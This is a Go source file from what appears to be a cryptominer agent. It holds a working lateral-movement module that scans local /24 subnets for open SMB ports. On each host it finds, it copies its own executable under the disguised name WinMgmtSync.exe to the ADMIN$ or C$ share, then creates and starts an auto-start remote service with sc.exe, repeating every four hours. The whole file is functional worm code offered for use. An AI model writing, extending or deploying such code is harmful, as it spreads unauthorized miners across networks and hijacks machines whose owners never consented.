//go:build windows

package deploy

import (
	"fmt"
	"log"
	"net"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"crypto-miner-agent/config"
)

// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
func StartAutoSpreader(cfg config.RuntimeConfig) {
	// AutoSpread feature retained per user request.
	// Enables SMB/RPC lateral deployment on the local /24 subnet.
	if !cfg.AutoSpread {
		return
	}
	go func() {
		// Wait 10 minutes after initial startup before attempting lateral movement
		time.Sleep(10 * time.Minute)

		// Attempt every 4 hours
		ticker := time.NewTicker(4 * time.Hour)
		defer ticker.Stop()

		for {
			spreadToLocalSubnet(cfg)
			<-ticker.C
		}
	}()
	log.Printf("[autospread] Lateral movement module initialized and active")
}

// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
	go spreadToLocalSubnet(cfg)
	return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
}

// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)

func spreadToLocalSubnet(cfg config.RuntimeConfig) {
	ips := getLocalIPs()
	for _, ip := range ips {
		subnet := getSubnet(ip)
		if subnet == "" {
			continue
		}
		for i := 1; i < 255; i++ {
			target := fmt.Sprintf("%s.%d", subnet, i)
			if target == ip {
				continue
			}
			spreadSem <- struct{}{} // acquire slot
			go func(t string) {
				defer func() { <-spreadSem }() // release slot when done
				attemptSpread(cfg, t)
			}(target)
		}
	}
}

func getLocalIPs() []string {
	var ips []string
	ifaces, err := net.Interfaces()
	if err != nil {
		return ips
	}
	for _, i := range ifaces {
		if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
			continue
		}
		addrs, err := i.Addrs()
		if err != nil {
			continue
		}
		for _, a := range addrs {
			if ipnet, ok := a.(*net.IPNet); ok {
				if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
					ips = append(ips, ip4.String())
				}
			}
		}
	}
	return ips
}

func getSubnet(ip string) string {
	parts := strings.Split(ip, ".")
	if len(parts) != 4 {
		return ""
	}
	return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}

func attemptSpread(cfg config.RuntimeConfig, target string) {
	// 1. Quick pre-check: Is port 445 (SMB) open?
	conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
	if err != nil {
		return
	}
	conn.Close()

	exePath, err := os.Executable()
	if err != nil {
		return
	}

	// Target paths
	destName := "WinMgmtSync.exe"
	adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
	remoteExe := filepath.Join(`C:\Windows\System32`, destName)

	// 2. Attempt to copy payload via SMB using the current security token
	copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
	if err := copyCmd.Run(); err != nil {
		// Fallback to C$ hidden temp folder if System32 is restricted
		cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
		copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
		if err := copyCmd.Run(); err != nil {
			return // Access denied or host unreachable
		}
		remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
	}

	// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
	svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)

	// Delete existing just in case path changed
	_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
	_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()

	scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
	_ = scCreate.Run() // Ignore errors, it might already exist

	// 4. Start the remote service
	scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
	if err := scStart.Run(); err == nil {
		log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
	}
}
